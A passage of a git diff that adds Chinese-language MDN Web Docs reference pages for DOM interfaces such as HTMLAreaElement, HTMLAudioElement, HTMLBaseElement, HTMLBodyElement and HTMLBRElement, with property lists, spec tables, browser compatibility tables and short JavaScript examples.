  • "no-referrer" 意味着不要发送 Referer 请求头。
  • +
  • "origin"  意味着所发送的 Referer 请求头的值为当前页面的源,即 location.origin 的值。
  • +
  • "unsafe-url" 意味着所发送的 Referrer 请求头的值为当前页面完整的 url(即 location.href)去掉尾部的哈希(即 location.hash)之后的值。正如该选项的名字所言(unsafe),此选项是不安全的,它可以将一个 HTTPS 页面的路径信息透露给第三方。
  • +
+
+
+ +

示例

+ +
var elt = document.createElement("a");
+var linkText = document.createTextNode("My link");
+elt.appendChild(linkText);
+elt.href = "https://developer.mozilla.org/en-US/";
+elt.referrer = "no-referrer";
+
+var div = document.getElementById("divAround");
+div.appendChild(elt); // 点击该链接接时不会发送 Referer 请求头
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}{{Spec2('Referrer Policy')}}Added the referrer attribute.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}} +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 该特性目前默认为关闭状态,请通过将 network.http.enablePerElementReferrer 选项设置为 true 来开启。

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlareaelement/index.html b/files/zh-cn/web/api/htmlareaelement/index.html new file mode 100644 index 0000000000..cc7feef547 --- /dev/null +++ b/files/zh-cn/web/api/htmlareaelement/index.html @@ -0,0 +1,197 @@ +--- +title: HTMLAreaElement +slug: Web/API/HTMLAreaElement +translation_of: Web/API/HTMLAreaElement +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

HTMLAreaElement 接口提供了一些属性和方法 (除了常见的对象{{domxref("HTMLElement")}} 接口提供的属性和方法通过继承也能获取到) 用来控制一个area元素的布局和展现。

+ +

属性

+ +

从它的父对象{{domxref("HTMLElement")}}继承的,还有从{{domxref("URLUtils")}}继承的。

+ +
+
{{domxref("HTMLAreaElement.accessKey")}}
+
值为一个 {{domxref("DOMString")}} 类型,包含了一个简单的字符代表键盘上的一个按键,相当于快捷键。
+
{{domxref("HTMLAreaElement.alt")}}
+
值为一个{{domxref("DOMString")}} 类型,代表了 {{ htmlattrxref("alt", "area") }} HTML 属性,,包含一个area对象显示异常的情况下显示的备用文本字符串。
+
{{domxref("HTMLAreaElement.coords")}}
+
值为一个 {{domxref("DOMString")}} 类型,代表了 {{ htmlattrxref("coords", "area") }} HTML 属性, 包含了定义热区相关的坐标。
+
{{domxref("HTMLAreaElement.download")}} {{experimental_inline}}
+
值为一个 {{domxref("DOMString")}} 类型,表明此资源是将要被下载的资源而不是显示在浏览器页面中。值为下载保存文件的推荐文件名。如果名字在操作系统里不是一个合格的文件名格式,浏览器将会做相应的修改。
+
{{domxref("URLUtils.hash")}}
+
Is a {{domxref("DOMString")}} containing the fragment identifier (including the leading hash mark (#)), if any, in the referenced URL.
+
{{domxref("URLUtils.host")}}
+
Is a {{domxref("DOMString")}} containing the hostname and port (if it's not the default port) in the referenced URL.
+
{{domxref("URLUtils.hostname")}}
+
Is a {{domxref("DOMString")}} containing the hostname in the referenced URL.
+
{{domxref("URLUtils.href")}}
+
Is a {{domxref("DOMString")}} containing that reflects the {{ htmlattrxref("href", "area") }} HTML attribute, containing a valid URL of a linked resource.
+
{{domxref("HTMLAreaElement.hreflang")}}
+
Is a {{domxref("DOMString")}} containing that reflects the {{ htmlattrxref("hreflang", "area") }} HTML attribute, indicating the language of the linked resource.
+
{{domxref("HTMLAreaElement.media")}}
+
Is a {{domxref("DOMString")}} containing that reflects the {{ htmlattrxref("media", "area") }} HTML attribute, indicating target media of the linked resource.
+
{{domxref("HTMLAreaElement.noHref")}} {{obsolete_inline}}
+
Is a {{domxref("Boolean")}} flag indicating if the area is inactive (true) or active (false).
+
{{domxref("URLUtils.password")}}
+
Is a {{domxref("DOMString")}} containing the password specified before the domain name.
+
{{domxref("URLUtils.origin")}} {{readonlyInline}}
+
Returns a {{domxref("DOMString")}} containing the origin of the URL, that is its scheme, its domain and its port.
+
{{domxref("URLUtils.pathname")}}
+
Is a {{domxref("DOMString")}} containing the path name component, if any, of the referenced URL.
+
{{domxref("URLUtils.port")}}
+
Is a {{domxref("DOMString")}} containing the port component, if any, of the referenced URL.
+
{{domxref("URLUtils.protocol")}}
+
Is a {{domxref("DOMString")}} containing the protocol component (including trailing colon ':'), of the referenced URL.
+
{{domxref("HTMLAreaElement.rel")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("rel", "area") }} HTML attribute, indicating relationships of the current document to the linked resource.
+
{{domxref("HTMLAreaElement.relList")}} {{readOnlyInline}}
+
Returns a {{domxref("DOMTokenList")}} that reflects the {{ htmlattrxref("rel", "area") }} HTML attribute, indicating relationships of the current document to the linked resource, as a list of tokens.
+
{{domxref("HTMLAreaElement.search")}}
+
Is a {{domxref("DOMString")}} containing the search element (including leading question mark '?'), if any, of the referenced URL.
+
{{domxref("HTMLAreaElement.shape")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("shape", "area") }} HTML attribute, indicating the shape of the hot-spot, limited to known values.
+
{{domxref("HTMLAreaElement.tabIndex")}}
+
Is a long containing the element's position in the tabbing order.
+
{{domxref("HTMLAreaElement.target")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("target", "area") }} HTML attribute, indicating the browsing context in which to open the linked resource.
+
{{domxref("HTMLAreaElement.type")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("type", "area") }} HTML attribute, indicating the MIME type of the linked resource.
+
{{domxref("URLUtils.username")}}
+
Is a {{domxref("DOMString")}} containing the username specified before the domain name.
+
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("HTMLElement")}} and  implement those from {{domxref("URLUtils")}}.

+ +
+
{{domxref("URLUtils.toString()")}}
+
Returns a {{domxref("DOMString")}} containing the whole URL of the script executed in the {{domxref("Worker")}}. It is a synonym for {{domxref("URLUtils.href")}}.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-map-element.html#the-area-element", "HTMLAreaElement")}}{{Spec2('HTML WHATWG')}}The following property has been added: download.
+ Technically, the URL-related properties, media, host, hostname, pathname, port, protocol, search, and hash, have been moving to the {{domxref("URLUtils")}} interface, and HTMLAreaElement implements this interface.
{{SpecName('HTML5 W3C', "embedded-content-0.html#the-area-element", "HTMLAreaElement")}}{{Spec2('HTML5 W3C')}}Technically, the properties tabindex and accesskey are now defined on {{domxref("HTMLElement")}}.
+ The following property is now obsolete:  nohref.
+ The following properties have been added: rel, relList, media, hreflang, type, host, hostname, pathname, port, protocol, search, and hash.
{{SpecName('DOM2 HTML', 'html.html#ID-26019118', 'HTMLAreaElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-26019118', 'HTMLAreaElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
download {{experimental_inline}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
username, password, and origin{{CompatUnknown}}{{CompatGeckoDesktop("26.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
download {{experimental_inline}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
username, password, and origin{{CompatUnknown}}{{CompatGeckoMobile("26.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlaudioelement/audio/index.html b/files/zh-cn/web/api/htmlaudioelement/audio/index.html new file mode 100644 index 0000000000..f095c48a69 --- /dev/null +++ b/files/zh-cn/web/api/htmlaudioelement/audio/index.html @@ -0,0 +1,91 @@ +--- +title: Audio() +slug: Web/API/HTMLAudioElement/Audio +tags: + - API + - Audio + - DOM + - 参考 + - 多媒体 + - 构造器 + - 音频 +translation_of: Web/API/HTMLAudioElement/Audio +--- +

{{APIRef("HTML DOM")}}

+ +

Audio() 构造器创建并返回一个 {{domxref("HTMLAudioElement")}},可以将它附加到文档中以供用户交互,也可以用于管理和播放背景音乐。

+ +

语法

+ +
audioObj = new Audio(url);
+ +

参数

+ +
+
url {{optional_inline}}
+
一个可选的、包含音频文件 URL 的 {{domxref("DOMString")}}。
+
+ +

返回值

+ +

新创建的 {{domxref("HTMLAudioElement")}} 对象,被设置为播放指定 url的音频文件。新对象的 {{domxref("HTMLMediaElement.preload", "preload")}} 属性被设置为 auto 且它的 src 属性被设置为具体的 URL 或 null (当没有提供 URL 时)。如果提供了 URL,浏览器在返回新对象之前开始异步加载媒体资源。

+ + + +

使用备注

+ +

你也可以使用其他元素创建方法,例如 {{domxref("document")}} 对象的 {{domxref("Document.createElement", "createElement()")}} 方法,去构建一个新的 {{domxref("HTMLAudioElement")}}.

+ +

检测回放时机

+ +

提供三种方法给开发者,判断音频文件是否已经加载,允许开始回放:

+ + + +

基于事件的方法是最优的:

+ +
myAudioElement.addEventListener("canplaythrough", event => {
+  /* 音频可以播放;如果权限允许则播放 */
+  myAudioElement.play();
+});
+ +

内存使用与管理

+ +

如果所有使用 Audio() 构造函数创建的 audio 元素被删除,根据 JavaScript 垃圾回收机制,如果播放正在进行,内存中的 audio 元素不会被移除。相反,音频将会继续播放并且它的对象会保留在内存中,直到播放结束或是被暂停(例如调用 {{domxref("HTMLMediaElement.pause", "pause()")}})。在那个时候,这个对象才会成为垃圾回收的目标。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "#dom-audio", "Audio()")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

+ +

{{Compat("api.HTMLAudioElement.Audio")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlaudioelement/index.html b/files/zh-cn/web/api/htmlaudioelement/index.html new file mode 100644 index 0000000000..858a4e7542 --- /dev/null +++ b/files/zh-cn/web/api/htmlaudioelement/index.html @@ -0,0 +1,108 @@ +--- +title: HTMLAudioElement +slug: Web/API/HTMLAudioElement +translation_of: Web/API/HTMLAudioElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLAudioElement 接口提供对 {{HTMLElement("audio")}} 元素的属性访问及一系列操控它的方法,它基于并从 {{domxref("HTMLMediaElement")}} 接口继承属性和方法。

+ +

{{InheritanceDiagram(600, 120)}}

+ +

构造函数

+ +
+
{{domxref("HTMLAudioElement.Audio", "Audio()")}}
+
创建并返回一个新的 HTMLAudioElement 对象,如果提供音频文件 URL,则开始加载音频文件。
+
+ +

属性

+ +

没有具体的属性;从父类 {{domxref("HTMLMediaElement")}} 和 {{domxref("HTMLElement")}} 继承属性。

+ +

方法

+ +

从父类 {{domxref("HTMLMediaElement")}} 和 {{domxref("HTMLElement")}} 继承方法,自身不提供方法。

+ +

废弃的且仅适用于 Mozilla 的方法

+ +

以下方法是未标准化的,请勿使用.

+ +
+
{{domxref("HTMLAudioElement.mozCurrentSampleOffset", "mozCurrentSampleOffset()")}} {{non-standard_inline}} {{obsolete_inline}}
+
Returns the number of samples form the beginning of the stream that have been written so far into the audio stream created by calling {{domxref("HTMLAudioElement.mozWriteAudio", "mozWriteAudio()")}}.
+
{{domxref("HTMLAudioElement.mozSetup", "mozSetup()")}} {{non-standard_inline}} {{obsolete_inline}}
+
Sets up the audio stream to allow writing, given the number of audio channels (1 or 2) and the sample rate in kHz.
+
{{domxref("HTMLAudioElement.mozWriteAudio", "mozWriteAudio()")}} {{non-standard_inline}} {{obsolete_inline}}
+
Writes a batch of audio frames to the stream at the current offset, returning the number of bytes actually written to the stream.
+
+ +

示例

+ +

基本用法

+ +

你可以完全使用 JavaScript 的 {{domxref("HTMLAudioElement.Audio", "Audio()")}} 构造函数来创建一个 HTMLAudioElement :

+ +
var audioElement = new Audio('car_horn.wav');
+
+ +

然后你可以在这个元素上调用 play() 方法

+ +
audioElement.play();
+ +
+

一个常见的需求是在页面加载后马上去播放音频,现代浏览器的默认自动播放策略会阻止这一行为,参见 firefox 和 chrome 寻找最佳实践和解决方案。

+
+ +

一些经常被使用的属性,包括 {{domxref("HTMLMediaElement.src", "src")}}、{{domxref("HTMLMediaElement.currentTime", "currentTime")}}、{{domxref("HTMLMediaElement.duration", "duration")}}、{{domxref("HTMLMediaElement.paused", "paused")}}、{{domxref("HTMLMediaElement.muted", "muted")}} 和 {{domxref("HTMLMediaElement.volume", "volume")}}。以下这段代码赋值音频文件的播放时长给一个变量:

+ +
var audioElement = new Audio('car_horn.wav');
+audioElement.addEventListener('loadeddata', () => {
+  let duration = audioElement.duration;
+  // duration 变量现在存放音频的播放时长(单位秒)
+})
+ +
+
+ +

事件

+ +

从父类 {{domxref("HTMLMediaElement")}} 和祖先 {{domxref("HTMLElement")}} 继承方法. 使用 addEventListener() 监听事件或者赋值一个事件监听器给这个接口的 oneventname 属性。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmlaudioelement", "HTMLAudioElement")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#the-audio-element", "HTMLAudioElement")}}{{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLAudioElement")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlbaseelement/index.html b/files/zh-cn/web/api/htmlbaseelement/index.html new file mode 100644 index 0000000000..a1862c5580 --- /dev/null +++ b/files/zh-cn/web/api/htmlbaseelement/index.html @@ -0,0 +1,122 @@ +--- +title: HTMLBaseElement +slug: Web/API/HTMLBaseElement +tags: + - 接口 +translation_of: Web/API/HTMLBaseElement +--- +
+
{{APIRef("HTML DOM")}}
+
+ +
 
+ +

HTMLBaseElement 接口包含一份HTML文件的基础 URI设定,该对象继承了所有 {{domxref("HTMLElement")}} 接口中定义的方法与属性。

+ +

属性

+ +

继承了其父级 {{domxref("HTMLElement")}} 的所有属性

+ +
+
{{domxref("HTMLBaseElement.href")}}
+
映射自 {{domxref("DOMString")}}  HTML {{htmlattrxref("href", "base")}} 特性,包含了当前文档中所有相对 URL 地址的基准URL。
+
{{domxref("HTMLBaseElement.target")}}
+
Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("target", "base")}} HTML attribute, containing a default target browsing context or frame for elements that do not have a target reference specified.
+
+ +

方法

+ +

没有特殊的方法,继承了其父级 {{domxref("HTMLElement")}} 的所有特性。

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "semantics.html#the-base-element", "HTMLBaseElement")}}{{Spec2('HTML WHATWG')}}No change from latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', "document-metadata.html#the-base-element", "HTMLBaseElement")}}{{Spec2('HTML5.1')}}No change from {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', "document-metadata.html#the-base-element", "HTMLBaseElement")}}{{Spec2('HTML5 W3C')}}No change from {{SpecName("DOM2 HTML")}}.
{{SpecName('DOM2 HTML', 'html.html#ID-73629039', 'HTMLBaseElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-73629039', 'HTMLBaseElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlbasefontelement/index.html b/files/zh-cn/web/api/htmlbasefontelement/index.html new file mode 100644 index 0000000000..e405c215ba --- /dev/null +++ b/files/zh-cn/web/api/htmlbasefontelement/index.html @@ -0,0 +1,63 @@ +--- +title: HTMLBaseFontElement +slug: Web/API/HTMLBaseFontElement +translation_of: Web/API/HTMLBaseFontElement +--- +
{{APIRef("HTML DOM")}}{{obsolete_header}}
+ +

The HTMLBaseFontElement interface provides special properties (beyond the regular {{domxref("HTMLElement")}} interface it also has available to it by inheritance) for manipulating {{HTMLElement("basefont")}} elements.

+ +

The <basefont> element has been deprecated in HTML4 and removed in HTML5. This latest specification requires that this element implements {{domxref("HTMLUnknownElement")}} rather than HTMLBaseFontElement.

+ +

属性

+ +

从父类 {{domxref("HTMLElement")}} 继承属性。

+ +
+
{{domxref("HTMLBaseFontElement.color")}}
+
Is a {{domxref("DOMString")}} representing the text color using either a named color or a color specified in the hexadecimal #RRGGBB format.
+
{{domxref("HTMLBaseFontElement.face")}}
+
Is a {{domxref("DOMString")}} representing a list of one or more font names. The document text in the default style is rendered in the first font face that the client's browser supports. If no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system.
+
{{domxref("HTMLBaseFontElement.size")}}
+
Is a {{domxref("DOMString")}} representing the font size as either a numeric or relative value. Numeric values range from 1 to 7 with 1 being the smallest and 3 the default. Relative value starts with a '+' or a '-'.
+
+ +

方法

+ +

无具体方法;从父类 {{domxref("HTMLElement")}} 继承方法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("DOM2 HTML", "html.html#ID-32774408", "HTMLBaseFontElement")}}{{Spec2('DOM2 HTML')}}No change
{{SpecName("DOM1", "level-one-html.html#ID-32774408", "HTMLBaseFontElement")}}{{Spec2('DOM1')}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.HTMLBaseFontElement")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlbodyelement/index.html b/files/zh-cn/web/api/htmlbodyelement/index.html new file mode 100644 index 0000000000..a573d7165f --- /dev/null +++ b/files/zh-cn/web/api/htmlbodyelement/index.html @@ -0,0 +1,274 @@ +--- +title: HTMLBodyElement +slug: Web/API/HTMLBodyElement +translation_of: Web/API/HTMLBodyElement +--- +
{{APIRef("HTML DOM")}}
+ +
HTMLBodyElement 接口提供了特殊的属性(除了它们继承的常规的{{ domxref("HTMLElement") }}接口)以外,还可以处理 body 元素。
+ +
 
+ +

{{InheritanceDiagram(600, 120)}}

+ +

属性

+ +

从其父项{{domxref("HTMLElement")}} 和{{domxref("WindowEventHandlers")}}中继承属性。

+ +
+
{{domxref("HTMLBodyElement.aLink")}} {{obsolete_inline}}
+
Is a {{ domxref("DOMString") }} that represents the color of active hyperlinks.
+
{{domxref("HTMLBodyElement.background")}} {{obsolete_inline}}
+
Is a {{ domxref("DOMString") }} that represents the description of the location of the background image resource. Note that this is not an URI, though some older version of some browsers do expect it.
+
{{domxref("HTMLBodyElement.bgColor")}} {{obsolete_inline}}
+
Is a {{ domxref("DOMString") }} that represents the background color for the document.
+
{{domxref("HTMLBodyElement.link")}} {{obsolete_inline}}
+
Is a {{ domxref("DOMString") }} that represents the color of unvisited links.
+
{{domxref("HTMLBodyElement.text")}} {{obsolete_inline}}
+
Is a {{ domxref("DOMString") }} that represents the foreground color of text.
+
{{domxref("HTMLBodyElement.vLink")}} {{obsolete_inline}}
+
Is a {{ domxref("DOMString") }} that represents the color of visited links.
+
+ +

方法

+ +

No specific methods; inherits methods from its parent, {{domxref("HTMLElement")}} and from {{domxref("WindowEventHandlers")}}.

+ +

事件处理

+ +

No specific event handlers; inherits event handlers from its parent, {{domxref("HTMLElement")}} and from {{domxref("WindowEventHandlers")}}.

+ +
+
{{domxref("WindowEventHandlers.onafterprint")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("afterprint")}} event is raised.
+
{{domxref("WindowEventHandlers.onbeforeprint")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeprint")}} event is raised.
+
{{domxref("WindowEventHandlers.onbeforeunload")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeunload")}} event is raised.
+
{{domxref("WindowEventHandlers.onhashchange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("hashchange")}} event is raised.
+
{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("languagechange")}} event is raised.
+
{{domxref("WindowEventHandlers.onmessage")}}
+
Is an {{domxref("EventHandler")}} called whenever an object receives a {{event("message")}} event.  
+
{{domxref("WindowEventHandlers.onmessageerror")}}
+
Is an {{domxref("eventHandler")}} called whenever an object receives a {{event("messageerror")}} event.
+
{{domxref("WindowEventHandlers.onoffline")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("offline")}} event is raised.
+
{{domxref("WindowEventHandlers.ononline")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("online")}} event is raised.
+
{{domxref("WindowEventHandlers.onpagehide")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pagehide")}} event is raised.
+
{{domxref("WindowEventHandlers.onpageshow")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pageshow")}} event is raised.
+
{{domxref("WindowEventHandlers.onpopstate")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("popstate")}} event is raised.
+
{{domxref("WindowEventHandlers.onrejectionhandled")}}
+
An {{domxref("EventHandler")}} representing the code executed when the {{event("rejectionhandled")}} event is raised, indicating that a {{jsxref("Promise")}} was rejected and the rejection has been handled.
+
{{domxref("WindowEventHandlers.onresize")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("resize")}} event is raised.
+
{{domxref("WindowEventHandlers.onstorage")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("storage")}} event is raised.
+
{{domxref("WindowEventHandlers.onunhandledrejection")}}
+
An {{domxref("EventHandler")}} representing the code executed when the {{event("unhandledrejection")}} event is raised, indicating that a {{jsxref("Promise")}} was rejected but the rejection was not handled.
+
{{domxref("WindowEventHandlers.onunload")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("unload")}} event is raised.
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "sections.html#the-body-element", "HTMLBodyElement")}}{{Spec2('HTML WHATWG')}}Technically, the event-related properties onafterprint, onbeforeprint, onbeforeunload, onblur, onerror, onfocus, onhashchange, onlanguagechange, onload, onmessage, onoffline, ononline, onpopstate, onresize, onstorage, and onunload, have been moved to {{domxref("WindowEventHandlers")}}. HTMLBodyElement implements this interface.
{{SpecName('HTML5.1', "sections.html#the-body-element", "HTMLBodyElement")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "sections.html#the-body-element", "HTMLBodyElement")}}{{Spec2('HTML5 W3C')}}The following properties are now obsolete: aLink, bgColor, background, link, text, and vLink.
+ The following properties have been added: onafterprint, onbeforeprint, onbeforeunload, onblur, onerror, onfocus, onhashchange, onload, onmessage, onoffline, ononline, onpopstate, onresize, onstorage, and onunload.
{{SpecName('DOM2 HTML', 'html.html#ID-62018039', 'HTMLBodyElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-62018039', 'HTMLBodyElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(1)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}} [1]4.0{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}
onXYZ event handlers{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
onlanguage{{CompatNo}}{{CompatUnknown}}{{CompatGeckoDesktop(32)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
onmessageerror{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(47)}}{{CompatUnknown}}
onstorage{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(45)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
onrejectionhandled and onunhandledrejection{{CompatChrome(49)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatOpera(36)}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
onXYZ event handlers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
onlangugage{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile(32)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
onmessageerror{{CompatChrome(60)}}{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(47)}}{{CompatUnknown}}
onstorage{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(45)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
onrejectionhandled and onunhandledrejection{{CompatChrome(49)}}{{CompatChrome(49)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatOperaMobile(36)}}{{CompatNo}}
+
+ +

[1] Firefox prior to Firefox 7.0 (and some older versions of Opera) returned a URI for the HTMLBodyElement.background attribute.

+ +

参考阅读

+ + diff --git a/files/zh-cn/web/api/htmlbrelement/index.html b/files/zh-cn/web/api/htmlbrelement/index.html new file mode 100644 index 0000000000..1644e0eb3b --- /dev/null +++ b/files/zh-cn/web/api/htmlbrelement/index.html @@ -0,0 +1,59 @@ +--- +title: HTMLBRElement +slug: Web/API/HTMLBRElement +translation_of: Web/API/HTMLBRElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLBRElement 接口代表一个 HTML 换行元素 ({{htmlelement("br")}}),它从 {{domxref("HTMLElement")}} 继承。

+ +

{{InheritanceDiagram(600, 120)}}

+ +

属性

+ +

从父类 {{domxref("HTMLElement")}} 继承属性。

+ +
+
{{domxref("HTMLBRElement.clear")}} {{deprecated_inline}}
+
Is a {{domxref("DOMString")}} indicating the flow of text around floating objects.
+
+ +

方法

+ +

无具体方法;从父类 {{domxref("HTMLElement")}} 继承方法

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "#htmlbrelement", "HTMLBRElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', "textlevel-semantics.html#the-br-element", "HTMLBRElement")}}{{Spec2('HTML5 W3C')}}No change from {{SpecName("DOM2 HTML")}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.HTMLBRElement")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlbuttonelement/index.html b/files/zh-cn/web/api/htmlbuttonelement/index.html new file mode 100644 index 0000000000..c186ced221 --- /dev/null +++ b/files/zh-cn/web/api/htmlbuttonelement/index.html @@ -0,0 +1,293 @@ +--- +title: HTMLButtonElement +slug: Web/API/HTMLButtonElement +tags: + - API + - HTML DOM +translation_of: Web/API/HTMLButtonElement +--- +
{{APIRef("HTML DOM")}}
+ +

